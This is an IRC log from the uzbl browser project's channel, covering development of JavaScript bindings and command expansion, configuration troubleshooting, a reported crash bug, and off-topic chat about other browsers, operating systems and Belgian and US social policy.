21:56 < scj> but this is exciting. now we need a way to do "bind x = spawn foo.sh $(js JSON.stringify(bar()))"
21:57 < dxdx> that would be awesome
21:57 < uranther> huhu sounds intense
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22:05 < dxdx> oh, also:
22:05 < dxdx> uzblctrl -s /tmp/uzbl_socket_41943074 -c 'js document.getElementById("brdtitle").children[0].innerHTML'
22:05 < dxdx> <span>Arch Linux Forums</span>
22:06 < uranther> D:
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22:06 < uranther> could this, perhaps, facilitate the RSS Reader Dieterbe is looking for?
22:06 < bct> nice!
22:06 < dxdx> uranther: of course
22:07 < uranther> it's pretty exciting that these small changes allow for a lot of extensibility
22:07 < uranther> we're starting to make Firefox our bitch
22:08 < Dieterbe> cool shit dxdx 
22:08 < scj> well, as long as there's some way to get the string result of js scripts, we pretty much have the DOM exposed
22:11 < DuClare> Indeed
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22:29 < Dieterbe> night dudes. sorry dxdx had no time today to look carefully at your stuff
22:29 < Dieterbe> maybe tomorrow
22:32 < dxdx> Dieterbe: np, but you'll have to pull the javascript stuff too :P
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01:27 < dxdx> http://omploader.org/vMXU5ZQ (screenshot)
01:28 < scj> hot damn
01:31 < dxdx> :D
01:32 < dxdx> it wasn't that hard to write that, i've even considered making some kind of binding, so you could do Uzbl.commands.print("@uri")
01:33 < dxdx> or just Uzbl.print("@uri") but then we wouldn't be able to implement that XMLHttpRequest (or maybe it supports both dynamic and static functions in the same object?)
01:36 < scj> do you have a github account?
01:39 < dxdx> yup, i'm preparing to push
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02:06 < dxdx> scj: http://github.com/dequis/uzbl/tree/experimental
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02:32 < scj> dxdx: cool, gonna play around with it
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05:32 < g111> hi, i have a problem with a configuration file line
05:33 < g111> bind B = spawn ~/sh/uzbl/add_bookmark.sh
05:34 < g111> but when i press shift-b in uzbl it just prints the B in the status bar and doesn't runs the script
05:35 < g111> any clue why the line may be beeing ignored ??
05:36 < scp1> They are sleeping.
05:36 < g111> because when i send the command to the fifo it works fine
05:36 < scp1> And me knows nothing.
05:36 < g111> oh!
05:37 < scp1> are you sure you are actually pressing 'B' and not 'b'? :P
05:37 < g111> yes
05:37 < scp1> bind b = spawn $XDG_CONFIG_HOME/uzbl/add_url_to_bookmarks.sh
05:37 < g111> i use bind b = go_back
05:39 < uranther> yeah i'm not sure uzbl expands ~
05:40 < scp1> yeah, try $HOME instead...
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05:43 < g111> uranther: i tried that already, doesn't work
05:44 < g111> also tried full path
05:47 < Morasique> if it's showing up in the status bar then the binding isn't taking effect; even if it couldn't find the script it still wouldn't show up there
05:47 < Morasique> are you sure you're editing the right config file?
05:48 < Morasique> uzbl takes a -c to specify the config file; try doing that
05:48 < Morasique> or change something else in the file like the titlebar format to make sure it's reading it
05:49 < g111> well, the config file is been read
05:50 < Morasique> huh
05:50 < g111> afaik
05:50 < g111> did the tests
05:51 < Morasique> you could try putting a printf in the act_bind method to make sure it's reading the file right
05:51 < g111> you mean the uzbl source right?
05:52 < Morasique> yeah, sorry
05:53 < g111> will try but first will git pull
05:53 < Morasique> actually, add_binding() might be easier
05:53 < Morasique> i added this to the beginning of it: printf("%s -> %s\n", key, act);
05:53 < Morasique> and i see all my bindings, including the B i added at the end of my config
05:54 < g111> i'm not using experimental, maybe that's it
05:56 < g111> command "bind   B       " not understood. ignoring.
05:56 < g111> that's what i'm getting
05:56 < g111> the parsing?
05:58 < Morasique> er. that's not good. what's your bind B line?
05:59 < g111> well i just changed it to : bind B    = spawn /home/aner/sh/uzbl/add_bookmark.sh
05:59 < g111> and the output of uzbl changed to : B       = spawn /home/aner/sh/uzbl/add_bookmark.sh ->
06:00 < g111> using your code line
06:00 < Morasique> yeah, it's clearly not parsing right
06:00 < Morasique> what branch are you on? the newest main?
06:00 < g111> main
06:00 < g111> yes newest
06:00 < Morasique> i'll update, hang on
06:01 < Morasique> weird, mine still parses right. are you using tabs in the command?
06:02 < Morasique> s/command/bindings/
06:02 < g111> yes : bind\tB\t= spawn...
06:02 < g111> \t = tab
06:02 < Morasique> ah. i think that's why; try spaces
06:04 < g111> yes thats was the problem, thanks. works fine know
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09:04 < Dieterbe> :yawn:
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09:32 < rob|_> morning.
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09:33 < rob|> dxdx's JS thing looks pretty interesting. i guess i'll add a JS expansion command like @<java script> to expand()
09:33 < Dieterbe> hmm... we need that?
09:34 < Dieterbe> oh or do you mean like you define a custom variable that contains the code
09:34 < Dieterbe> and then a bind to run the "variable " ?
09:36 < Dieterbe>  Morasique> you could try putting a printf in the act_bind method to make sure it's reading the file right <-- you mean run uzbl --verbose ;)
09:36 < rob|> no i meant something similar to @() i.e. execute the js code and use the string result
09:36 < Dieterbe> rob|: oh ok. yeah that could be useful
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09:44 < Morasique> oh. yeah, i forgot about that switch
09:45 -!- Irssi: #uzbl: Total of 70 nicks [0 ops, 0 halfops, 0 voices, 70 normal]
09:45 < Dieterbe> @peak
09:45 < dev_null> Dieterbe: obama set a record of 83 people in #uzbl on June 09, 2009 at 03:41 PM CET. You'll need 14 more people to break the peak.
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09:57 < Morasique> does that bot do anything else?
09:57 < Dieterbe> i think so, but don't know what :P
09:57 < Dieterbe> @help
09:57 < dev_null> Dieterbe: (help [<plugin>] [<command>]) -- This command gives a useful description of what <command> does. <plugin> is only necessary if the command is in more than one plugin. For list of all plugins use command list.
09:57 < Dieterbe> @commands
09:57 < dev_null> Dieterbe: ++, +-, 1337, 1k10, 1k100, 1k6, 2k6, 3k6, 8ball, ??, ?r, ?s, ?w, add, alert, announce, any, aol, apropos, ban add, ban list, ban remove, barrucadu/experimental, base, bash, bc, beee, beer, binary, bincoin, bizonkuvblogisek, bla, blabol, blah, blog.haskell.cz, blog.haskell.cz/comments, bold, bot, buzzword, calc, capabilities, capability add, capability list, capability remove, capability set, capability (6 more messages)
09:58 < Dieterbe> @beer
09:58  * dev_null otevrel Dieterbe oroseneho lahvace.
09:58 < Morasique> i think it just cast a spell on you
09:58 < Dieterbe> i have no idea what it did :P
09:58 < Dieterbe> maybe DuClare knows. this seems like some nordic language
10:00 < Morasique> it looks like @list is the actual list
10:00 < Morasique> @list
10:00 < dev_null> Morasique: ChannelStats, Currency, CyborgName, Dict, Factoids, Filter, Format, Games, Geekquote, Insult, Karma, Lart, LastFM, Linux, Math, Misc, Nickometer, Note, Peak, Poll, Praise, RSS, Rhyme, Seen, ShrinkUrl, Status, String, URL, Unix, Weather, Web, and Zpovednice
10:00 < Morasique> @ChannelStats
10:00 < dev_null> Morasique: On #uzbl there have been 29023 messages, containing 1333616 characters, 235427 words, 2562 smileys, and 1414 frowns; 340 of those messages were ACTIONs.  There have been 2581 joins, 478 parts, 2064 quits, 0 kicks, 15 mode changes, and 5 topic changes.
10:00 < Morasique> neat
10:01 < Dieterbe> 29023 / 55 -> 527 messages per day ;)
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10:02 < Dieterbe> @1337
10:02 < dev_null> Dieterbe: (1337 <an alias, 1 argument>) -- Alias for "leet $1".
10:02 < Morasique> it's nice to know there's been 2562 :) versus 1414 :(
10:02 < Dieterbe> @1337 uzbl
10:02 < dev_null> Dieterbe: uzb1
10:03 < Dieterbe> yeah :P they should count ':P' too however. i say it a lot :P
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10:43 < rob|> hmm, is github having issues? seems i can't push..
10:46 < rob|> oh, now it worked. just took several minutes to complete..
10:47 < rob|> so, 'print foo @<javascript> bar' should work now
10:48 < rob|> uzbl variables are being interpolated inside of @<..>
10:48 < Dieterbe> you mean 'expanded' i think
10:48 < Dieterbe> interpolation is something different :P
10:48 < rob|> right
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10:51 < scj> bad ass
10:59 < psychon> github still hates me :(
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13:49 < slyson> hi. Does uzbl have some sort of refreshing issue? e.g., when I use >> to go to bottom of page it seems to lag out and I can't scroll for a few seconds. The same when a page loads: the loading bar goes to 100% but the page won't actually change for quite a while, then when it does change everything is already rendered... like it had frozen temporarily. Note: my graphics card is dodgy - I just want to make sure it is a
13:49 < slyson> n issue on my end.
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13:51 < Dieterbe> slyson: weird. you're the first to mention this
13:51 < Dieterbe> slyson: run uzbl --verbose in a terminal to see what's going on
13:55 < slyson> Dieterbe: well I just figured out what is wrong with the scrolling. If I keep pressing j to move down a line after the end of the page it keeps counting the lines. So I then have to press k the same amount of times before it will start scrolling again.
13:56 < Dieterbe> yeah. that's a known bug . i think it was holizz who wrote the fix but i still need to merge it in
13:58 < slyson> http://pastebin.com/m43f559df - the only warnings I can see
14:00 < slyson> perhaps it is just my graphics card or the way web-kit renders when network is misbehaving, but it seems as if it is trying to preload everything before it will switch pages.
14:00 < Dieterbe> this is not about warnings, but about any activity that may keep uzbl busy
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16:43 < Dieterbe> sherl0k writes "Opera 10.0, dubbed Opera Unite, has been released. Built into the Web browser is a full-fledged Web server, complete with nifty little gadgets such as a 'fridge' that people can post notes onto, a chat room, a widget to stream your music library anywhere, and a built-in file-sharing mechanism
16:43 < Dieterbe> just what a browser needs !
16:44 < scj> yeah, I was scratching my head a bit when I read that. a webserver inside the browser? wth
16:45 < scp1> wtf?
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16:47 < MarSoft_> of course, it is neccessary to have a webserver inside browser, in order to be able to use it without access to internet :D
16:48 < scp1> lol
16:48 < Dieterbe> but still, you could build in a webserver in your chat program. no need to bloat a browser with it
16:48 < scj> they're reimplementing jabber ontop of http
16:49 < MarSoft_> like reinventing of bicycle.. imho
16:49 < mxey> Most Opera users will be behind NAT anyway, making that web server pretty useless, right?
16:50 < scj> saw some comments on reddit
16:50 < scj> they are using upnp
16:50 < mxey> Hm.
16:50 < scj> and are thinking about using something like STUN
16:51 < Dieterbe> stun?
16:51 < mxey> SIP Traversal u.. NAT?
16:53 < scj> Simple Traversal of User Datagram Protocol through Network Address Translators
16:54 < scj> STUDPNAT wasn't catchy enough, I guess
16:54 < mxey> NAT and simple in the same sentence is blasphemic bullshit -.-
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17:11 < uranther> They use a proxy apparently to bypass firewalls and whatnot
17:11 < uranther> and they developed a platform for developers to submit applications
17:11 < uranther> to the extent of having even multiplayer games
17:11 < uranther> not just a file vault
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17:17 < Dieterbe> hey barrucadu 
17:18 < barrucadu> hi
17:18 < Dieterbe> barrucadu: I was just thinking. we should change the <title> on uzbl.org to "Uzbl - a browser that adheres to the unix philosophy" or something like that.  "the uzbl browser" isn't the best description
17:18 < Dieterbe> and having a good title is very important for SEO ;)
17:21 < barrucadu> It would be a better title
17:22 < Dieterbe> do you want to fix this? :)
17:22 < barrucadu> ok
17:24 < barrucadu> Done
17:26 < mxey> SEO? You think people will google 'browser unix philosophy' ;)
17:26 < mxey> I guess most people will find us through reddit or recommendation.
17:26 < MarSoft_> or thru their distro package tree, maybe...
17:27 < Dieterbe> mxey: actually, before i started off uzbl that was exactly what i was googling for
17:27  * mxey found it on reddit and Hacker News
17:28 < mxey> I dropped Hacker News in favor of reddit, because Programming Reddit is more to the topic.
17:28 < Dieterbe> (and i also googled for things such as lightweight, suckless etc of course. but unix philosophy was the fundamental thing i was looking for
17:28 < mxey> Hm.
17:29  * MarSoft_ found it by recommendation of friend in Gentoo community..
17:30 < Dieterbe> ahh... these new school kids...
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17:31 < uranther> ugh.. why does windows' font installer have to be so dated?
17:31 < madnificent> is there a gentoo ovelay or something like it for uzbl? I just read about it and I'm interested :)
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17:33 < Dieterbe> madnificent: look at our wiki
17:33 < Dieterbe> madnificent: section howtos
17:34 < madnificent> Dieterbe: ooh, thanks
17:45 < Dieterbe> madnificent: btw how did you find out about uzbl?
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17:49 < Dieterbe> thanks barrucadu1 
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18:24 < madnificent> as this is probably the channel for dull questions too: can you print from uzbl? can you extend uzbl so the javascript can call bash-scripts (I know this is possible from firefox, but having less bloat could be good for the app)
18:26 < madnificent> you can print from webkit, but is there some way to set the printer (and bla bla) make it just work
18:27 < bct> somebody was working on exactly that yesterday
18:27 < bct> calling bash scripts, not printing specifically.
18:27 < madnificent> bct: are there logs of this channel? I can lurk around anyways :)
18:28 < madnificent> printing is the least of my concerns, I can probably hack around that through webkit
18:29 < bct> i don't know.
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18:31 < bct> but if you feel like digging into the source, this is the repository that has those changes:
18:31 < bct> http://github.com/dequis/uzbl/commits/experimental
18:38 < bct> here: http://necronomicorp.com/irclogs/uzbl.log
18:38 < bct> it's kind of huge, but what you're interested in starts at 13:32 yesterday
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19:25 < uranther> madnificent, is the javascript, window.print() what you're looking for?
19:26 < madnificent> uranther: javascript and printing were separate requests
19:26 < uranther> well I don't remember if you can right click and get a print dialog from there. but you could certainly bind that JS to a key to print
19:27 < madnificent> thing is: in the holidays I'll have to make an application <enter random jibberish here> with scales and scanners <more jibberish be here> using the web as a front end and want everything to be sent through the javascript.  It is a secure environment, so I can allow the reading of the scales and scanners to happen through some public JS
19:28 < madnificent> uranther: print will be automatical when the order is complete (so the button will probably redirect to a page, and that page will use JS to print anyways.  Dull thing: there must *not* be a printing dialog (at 1000 tickets a day, that would be very very bad)
19:30 < uranther> oh ok.. so you won't be able to do a "quick print" with javascript alone. so you're looking to a run a program that will do it for you?
19:30 < uranther> from the JS
19:30 < madnificent> uranther: the printing will be from JavaScript (thanks for that), but I'll need to have access to some bash scripts in order to read the data that comes from the scales
19:32 < uranther> hm sounds pretty complicated :P but possible with the stuff bct was talking about
19:38 < madnificent> uranther: if I can ask the value of a bash-script from javascript, I can make it run a thread that keeps updating the value it gets from the scale... every time the scale gives a solid value (being: there hasn't been a change in weight), then it can enter it in the form...
19:39 < madnificent> perhaps I can even ensure that the user doesn't have to press next... that would make it faster for them to work with (only back if they changed something)...
19:39  * madnificent builds todo list
19:39 < uranther> neat thing about uzbl, is that it's the only browser in which you can do this sort of thing easily :>
19:42 < Zaba> I think I found a bug
19:42 < Zaba> try feeding "chain ''" to uzbl
19:53 < madnificent> uranther: it is lightweight... It is intended to get this running on low-end hardware...
19:59 < Dieterbe> evening
19:59 < uranther> sup
20:02 < Dieterbe> soup
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20:26 < Zaba> Dieterbe, looks like chain '' crashes uzbl
20:30 < Dieterbe> hooooraaaayy
20:30 < Dieterbe> i mean: hmm that's not so good
20:30 < Dieterbe> blame DuClare :)
20:31 < DuClare> Should be an easy fix
20:32 < DuClare> But I can't do it now
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22:29 < barrucadu> @peak
22:29 < dev_null> barrucadu: obama set a record of 83 people in #uzbl on June 09, 2009 at 03:41 PM CET. You'll need 6 more people to break the peak.
22:30 < barrucadu> Close <.>
22:32 < M2tias> :o
22:33 < aSuKar> obama?
22:33 < M2tias> obama.
22:33 < aSuKar> dont think it,s the obama
22:34 < bct> no it probably is
22:34 < bct> he's a big unix guy
22:34 < bct> ;)
22:34 < barrucadu> Uzbl is just *that* amazing :)
22:34 < aSuKar> hehe
22:35 < aSuKar> it would be cool obama wearing an uzbl tshirt
22:36 < barrucadu> It would be cool anyone wearing one :p
22:37 < aSuKar> there should be an uzbl tshirt
22:37 < bct> that's a good idea, the logo *is* pretty cute
22:42  * barrucadu looks at what you can create on Zazzle…
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23:01 < barrucadu> I was considering getting something from zazzle or cafepress, but decided I'd probably never actually wear it if I did get one
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23:12 < DuClare> I never was very fond of the logo
23:13 < DuClare> Actually, I forgot about its existence until now
23:13 < DuClare> Mmm.. maybe I'll grow to like it, eventually.
23:13 < Dieterbe> barrucadu: yeah it may look a bit ghey :P
23:14 < Dieterbe> i like the logo.  but not for wearing ;)
23:14 < DuClare> Oooo
23:14 < DuClare> Thanks, that reminded me of something
23:15 < barrucadu> What can gay-looking logo clothes possibly remind you of? <.>
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23:26 < DuClare> barrucadu: A friend asked me to gimp his hair a bit .. :]
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02:02 < bct> it's nice to be able to log into my bank's site with some crazy new browser and have it work no problem
02:02 < bct> the web's come a long way :)
02:26 < rob|_> indeed
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03:04 < dxdx> http://pastebin.ca/1462840
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03:05 < dxdx> almost complete wrapper for GM_xmlhttprequest using libsoup (does not handle events yet)
03:29 < uranther> that shit looks pretty intense
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03:40 < scj> dxdx: is it possible to have "persistent" js code added to the Uzbl object?
03:41 < scj> say you wanted to do some stuff with jquery or something, instead of having to reload it everytime the page loads
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03:58 < dxdx> scj: hm, not yet
03:58 < dxdx> how should i do that..?
04:00 < dxdx> Uzbl.data as a class that handles set/get property and interfaces with a glib hash table?
04:01 < dxdx> well, i think i've replied myself with a quite nice solution
04:02 < dxdx> (better names than "data" are welcome)
04:06 < dxdx> maybe "store"
04:11 < scj> objects?
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04:16 < dxdx> maybe, but shorter is better
04:17 < scj> "stuff"
04:19 < dxdx> lol
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04:19 < dxdx> well, that would work, actually
04:20 < dxdx> but i don't like it :D
04:22 < urnthr> set persistent_js = jquery.js
04:22 < urnthr> :)
04:22 < urnthr> go in the config baby
04:22 < locks> structs?
04:22  * locks hides
04:22 < dxdx> oh wait, wait
04:23 < dxdx> every time a new page loads, a new js context is created
04:24 < scj> yeah. I was wondering if it was possible to have a js blob that is sort of bolted onto the new context without having to reevaluate it every time
04:25 < dxdx> saved JSValueRefs would be invalidated after the old js context is destroyed (actually i believe they are not invalidated, and mixing them would result in chaos and destruction)
04:26 < dxdx> i think the best solution is to allow connecting gobject signals from commands
04:26 < dxdx> scj: wait, how do you reload the javascript now?
04:27 < scj> I use commit_handler to send a "script foo.js"
04:27 < dxdx> oh, commit_handler, forgot about that one
04:28 < dxdx> forget what i said about gobject signals (well, a nice implementation of that would be useful for some javascripts, but commit_handler should be enough)
04:29 < dxdx> ..except for the detail that you can only have one commit handler, that is not good
04:30 < scj> why? just write a more intricate commit_handler if you need some logic to it
04:31 < dxdx> my idea was to allow scripts to dynamically add handlers to any webkit signal
04:31 < dxdx> but apparently the most important signal is commit..
04:32  * dxdx realizes that scripts would be reloaded on commit
04:35 < dxdx> ok, no need to add signals, no need to change commit. still, something like that persistent_js that urnthr suggested would be nice (as some kind of syntactic sugar)
04:35 < urnthr> word
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05:03 < urnthr> wth
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05:41 < uranther> so what is so sweet about Midori?
05:48 < dxdx> well, having uzbl, all other browsers are firefox clones, this one with webkit
05:48 < uranther> yeah midori looks like any other browser to me
05:49 < uranther> or epiphany
05:49 < uranther> ???
05:50 < dxdx> epiphany it's the same thing, it used gecko but then added a webkit branch, i guess midori was created because epiphany was too bloated with gnome crap to take advantage of the difference in weight between gecko and webkit
05:51 < dxdx> *epiphany is
05:53 < uranther> pretty lame
05:55 < dxdx> well, there was a time i had to use epiphany because it was the most lightweight browser available.. (then i got a core 2 duo, then webkit appeared)
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05:56 < uranther> core 2 duo++
05:56 < dxdx> i added around 260 lines of code with this javascriptcore stuff
05:57 < dxdx> of that, 140 are from xmlhttprequest (not finished yet)
05:57 < dxdx> my uzbl.c is 2855 lines long
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06:04 < uranther> word
06:07 < uranther> it's pretty intimidating to see patches in big projects that add entirely new functionality
06:07 < uranther> i think i saw the patch to webkit for MathML
06:14 < dxdx> well, uzbl is quite small, and the javascriptcore feature is pretty useful
06:14 < uranther> yeah, i'm just sayin
06:14 < dxdx> i can't say the same about xmlhttprequest considering its size, but i'm not the one that decides if it gets in
06:14 < uranther> i can't get webkit to build from autogen.sh :(
06:14 < uranther> damn ubuntu failing me
06:14 < dxdx> ubuntu sucks at building, a lot
06:16 < uranther> aclocal is apparently looking for autotools
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06:16 < uranther> i have automake and autoconf installed
06:17 < dreadlorde> you need all of auto*hell installed
06:18 < uranther> what more do i need? i have autotools-dev
06:18 < uranther> i didnt see much else doing apt-cache search auto | grep -e "^auto.*"
06:19 < dreadlorde> idk, I don't use ubuntu. don't know how autotools are packaged
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07:13 < dxdx> ok, this xmlhttp thing compiles
07:14 < dxdx> git diff says 257 lines added
07:17 < dxdx> i won't even try it, it's too late. nor will I commit, but here's the omploaded git diff http://omploader.org/vMXVmOQ
07:20 < dxdx> if Uzbl.request works out of the box and doesn't kill any kittens, this friend of mine who i call Ego will start to believe i'm leet.
07:20 < dxdx> meanwhile i have to consider how to wake up tomorrow
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09:07 < Zaba> So did opera just roll out an *even more* bloated browser?
09:07 < Zaba> Honestly, that's a little insane now.
09:12 < Dieterbe> yeah
09:12 < Dieterbe> morning all
09:12 < Zaba> I wonder how many security issues their opera 10 has.
09:12 < Zaba> If they really implemented all that from scratch, that's gotta be *lots of*
09:12 < Zaba> brb
09:17 < bjfs> Opera's like BitchX in IRC, all features integrated.
09:29 < Zaba> that's stupid
09:29 < Zaba> but well, that's a global tendency it seems
09:32 < bjfs> non-geek user will not install zillion of plugins like in case of firefox
09:32 < bjfs> they usually want the stuff to "just work" like three clicks to erase an ad
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09:33 < bjfs> so opera suits them fine
09:33 < Zaba> most non-geek users don't really care about where functionality comes from, they just need to have it all easy for the dumb
09:34 < bjfs> sure, but maybe they don't have a geek-friend who will tune and optimise and dl million of extensions on his OS
09:34 < bjfs> or they hate geeks
09:34 < bjfs> who have no life at all ;D
09:35 < bjfs> certainly uzbl is not for that kind of folk
09:35 < Zaba> million of extensions in firefox is like suicide
09:35 < Zaba> slow and painful
09:36 < bjfs> sure, but some ppl don't want to dl ANY plugin, they just want it to work as they please
09:36 < Zaba> and mostly, if you pull the one who has all them installed out of his hype, he can wipe at least a half of them without losing anything
09:36 < Zaba> bjfs, I know.  That's what leads to bloated software.
09:37 < Zaba> hm
09:37 < bjfs> well, c'est la vie
09:37 < Zaba> I think I should update my kernel
09:37 < Zaba> just not to be very behind the time with versions
09:37 < bjfs> I have Vista kernel
09:37  * bjfs hides
09:38 < Dieterbe> /kick bjfs 
09:39 < bjfs> my picks: mobile = vista, workstation = opensolaris, server = w2k3/openbsd (virtualized)
09:41 < Zaba> my picks: mobile = netbsd at the moment, probably linux if I need something more sophisticated, workstation = linux, server = freebsd
09:42 < bjfs> I see, all more or less POSIX, with no Windoze or Mac ;P
09:42 < Zaba> well my server is a mac
09:42 < Zaba> running freebsd
09:42 < Zaba> and macos, being unix, is "more or less posix" too
09:43 < bjfs> I'd run Mac OS X for media work, only just that
09:43 < Zaba> I wouldn't run mac os x or windows, they can't give me a nice console
09:43 < bjfs> always was jealous of teh americans who run mac instead of windows
09:44 < Zaba> But they exist for a reason, namely, they keep total morons away from operating systems
09:44 < bjfs> because they can launch a terminal and omgwtflol a unix shell pops in
09:44 < bjfs> unimaginable on windows
09:44 < Zaba> bjfs, mac os can't give you a nice friendly framebuffer console devoid of gui overhead
09:44 < bjfs> (unless one has cygwin or other sort of third party software)
09:45 < Zaba> and I've heard rumors the terminal emulator that ships with mac os x sucks
09:45 < bjfs> well, matter of taste
09:45 < bjfs> I have, on Ubuntu, a terminal emulator on GUI which pops in by pressing a key like tilde in the game Quake
09:46 < bjfs> cool for the usual cnosole kung-fu , but too small to edit files in vim (I don't use gvim)
09:46 < Zaba> I know that those exist
09:50 < Dieterbe> you don't need a different program for that. any terminal app and a decent window manager will do
09:52 < bjfs> I used to run sawfish wm, that was cool; you could use any keystroke to launch code in some kind of programming language
09:52 < bjfs> but it falls behind in terms of gfx
09:52 < Dieterbe> uhm. with pretty much any wm you can run whatever executable you wish. and that executable can be any form of script
09:53 < bjfs> anyway I like tilde popping in terminal emulator for quick and dirty hax and it is going to stay ;P
09:54 < bjfs> for everything else, gnome-terminal (although konsole IMO is better)
09:54 < Dieterbe> <3 urxvt
09:54 < bjfs> maybe I like bloated software ? ;D
09:55  * bjfs used to have Opera, but now Google Chrome
09:56 < Zaba> if you like bloated software, *get outta here* :P
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10:00 < bjfs> well I experiment with uzbl due to some minor resememblance to vim ;p
10:01 < Zaba> I use uzbl because it's a non-bloated browser
10:01 < Zaba> that does just, well, browsing
10:02 < bjfs> ok
10:02 < bjfs> it takes, %0,0000001 of market ;p
10:03 < Zaba> and?
10:04 < bjfs> that philosophy will never change this
10:04 < bjfs> maybe 1% to say at least
10:04 < Zaba> and?
10:04 < bjfs> just being matter-of-factly :p
10:05 < Zaba> and what're you trying to say?
10:05 < Zaba> I don't see how being not popular makes anything worse
10:05 < bjfs> my opinion on the matter, not a criticism
10:05 < Zaba> It'd most likely make it better
10:05 < Zaba> because there'd be less hype and idiotic users
10:05 < bjfs> sure
10:05 < bjfs> like in case of OpenSolaris
10:06 < bjfs> it is so freakin' ugly that only a chosen few use it
10:06 < bjfs> and they usually are the developers ;D
10:06 < Zaba> I tried it in qemu some time ago
10:06 < Dieterbe> zzzz
10:06 < Zaba> I figured, even if I give all my workstation's ram to it, it will still hog it
10:07 < bjfs> yes, that's why I plan to install it natively
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10:29 < rob|_> morning.
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10:30 < Dieterbe> hey robman
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11:40 < aSuKar> is uzbl not in yaourt?
11:40 < aSuKar> is trief yaourt -S uzbl
11:41 < Zaba> what's that
11:41 < aSuKar> what?
11:41 < aSuKar> what's what?
11:41 < Dieterbe> try -Ss
11:41 < Dieterbe> or man yaourt
11:42 < Zaba> what's yaourt...
11:42 < Dieterbe> Zaba: a tool to use unofficial repo's in arch
11:42 < Zaba> aha
11:42 < Zaba> I wouldn't know
11:43 < aSuKar> ah found it
11:43 < aSuKar> uzbl-git
11:43 < aSuKar> i knew i didnt build from source last time
11:44 < Phillemann> Do I have to be logged in to change something on the wiki?
11:44 < Dieterbe> Phillemann: i think so yeah. not 100% sure though
11:52 < scj> yes
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12:17 < rob|> pushed, command expansion uses @(command)@ / js expansion @<java script>@
12:17 < rob|> keeps the parser clean and relatively simple
12:19 < rob|> e.g.: print JS Fun @<alert("proxy_url: @{proxy_url}")>@
12:21 < rob|> hmm, should we allow expanding @<..>@ inside of @(...)@ and vice versa?
12:22 < rob|> right now only uzbl variables are being expanded recursively
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15:02 < Dieterbe> rob|: i'm thinking out loud now. no idea how feasible it is, but
15:02 < Dieterbe> if you want to make this a library usable for other projects
15:03 < Dieterbe> then you could make it configurable, with keyvalue pairs
15:04 < Dieterbe> "$<.*>" -> callback_command, "@<.*>" -> callback_javascript, etc
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15:20 < uranther> sup
15:21 < Dieterbe> soup
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15:29 < uranther> Dieterbe, trying to compile the nightly webkit
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15:59 < uranther> huhu this ubuntu tutorial to compile webkit has Prerequisites: familiarity with the Terminal
16:00 < haste> oh shi-
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16:01 < uranther> i honestly can't figure it out.. ubuntu's build system is braindead or something
16:01 < uranther> autogen tries to -Iautotools but there's nothing like that on my system
16:01 < uranther> include files, that is
16:02 < Dieterbe> isn't there like a "global package" for development
16:02 < Dieterbe> like ubuntu-dev or something
16:02 < uranther> buildtools
16:02 < uranther> build-essential..
16:03 < uranther> that doesn't seem to be the issue though.. i have all the deps installed
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16:34 < uranther> eh i got it :) turns out the fetch-webkit.sh script i was using wasn't grabbing all the necessary files
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17:16 < barrucadu> hi
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17:18 < uranther> hey
17:19 < Dieterbe> allo
17:19 < madnificent> Dieterbe: are you from belgium?
17:20 < Dieterbe> yea
17:21 < uranther> is belgium sweet?
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17:21 < Dieterbe> it's quite expensive in taxes and it's sort of beauroucratic, but other then that it's pretty good here
17:21 < madnificent> Dieterbe: yay, we can start a buzblug then :P
17:22 < Dieterbe> madnificent: you are from..?
17:22 < madnificent> Dieterbe: I'm currently in leuven, you?
17:22 < uranther> Dieterbe, high taxes because you have nice things like nationalized education and healthcare, right?
17:22 < Dieterbe> ghent, but i work in antwerp
17:22 < Dieterbe> uranther: and because we have a lot of unemployed lowlife folks :P
17:22 < madnificent> Dieterbe: so, the belgians are owning this channel :P
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17:23 < Dieterbe> madnificent: correct ;)
17:23 < madnificent> uranther: we have nationalized education and healthcare and unemployment support, yes :)
17:23 < uranther> Dieterbe, your unemployment rate is only 6.5%
17:23 < uranther> it's much worse in certain states in the US
17:24 < madnificent> uranther: the numbers are slightly skewed.  They don't count several groups (it is still fair, I guess).  In any case, there are some politians here that shout meaningless junk around... not interpreting that junk can easily make you believe that our nation is ready to go under ground
17:25 < uranther> what kind of meaningless junk? of course, it is always hard to accurately measure unemployment
17:26 < Dieterbe> and your netto salary is like.. what.. 30% of what the employer pays..
17:26 < uranther> fuck
17:26 < uranther> !
17:26 < madnificent> uranther: statements in the range of "we have too many foreigners.  Foreigners don't work.  We may have cleaned a lot of dirt, but there is a lot more dirt to be cleaned (our own virtually racist party told that one).  Exit Belgium, Start Flanders."  Many more there :)
17:27 < madnificent> something in the range of 40%, but yes it is not much
17:27 < uranther> madnificent, oh - so not unlike the political system here? lol :)
17:28 < madnificent> otoh, we get decent roads, unemployment support, free studies (aka: no loans in order to be able to study).  Medical help (eg: you go in a hospital and you are helped the way you should be, regardles of what card you have with you). etc etc
17:28 < madnificent> uranther: country?
17:28 < uranther> i get to keep around 88% of my wages I think. That's because I work for a public university. Normally taxes take about 15%
17:28 < uranther> USA
17:29 < uranther> but our system is designed to keep you in debt and keep the 1% wealthiest wealthier... so I have to pay $1600/yr for basic healthcare for myself. and I take out a bunch of loans and shit for school. I can barely pay for it
17:29 < madnificent> uranther: you could look at it as the same thing, only you don't have optional insurance for a whole range of things, and thus you 'lose' a lot of money...  just depends on what you want to do
17:30 < uranther> Obama is now pushing for a 10 year nationalized healthcare plan
17:30 < uranther> we'll see how it turns out..
17:30 < uranther> it will cost us 1 trillion dollars
17:30 < barrucadu> I was quite surprised when I found out that there are some countries (ie: USA) *without* nationalised healthcare. The concept seemed completely alien to me
17:31 < uranther> lol yeah
17:31 < uranther> it's not that uncommon for people to die in the ER while waiting to be assisted for their illness here
17:31 < barrucadu> I think i said something like "So… what if you were bleeding to death on a hospital floor and didn't have insurance?"
17:32 < uranther> mm, they might help you. If you a homeless person, depending on the hospital, they have been known to kick you out
17:32 < madnificent> barrucadu: I personally think it is insane not to have it.  The same goes for unemployment support.  It may be hard to ensure that it isn't corrupted, but it seems crazy to me to not be able to buy food etc.
17:33 < uranther> we have unemployment support and it's actually not bad.. our minimum wage is finally going up too
17:33 < uranther> but I think it still may be too low to support yourself reasonably
17:35  * barrucadu googles
17:35 < barrucadu> Looks like the federal minimum wage is lower than in the UK
17:35 < madnificent> uranther: it has deteriorated here... it used to be good, but they keep making it worse and worse... now it's only good if you've worked long enough in the past (which means: it doesn't work if you haven't been able to save some money) and if you don't stay on it for too long (which means: if it is a recession, you'll be screwed anyways).  But then again, we only have one socialist party, and 5 right-wing parties
17:35 < madnificent> make that 4... at least for I can name right now
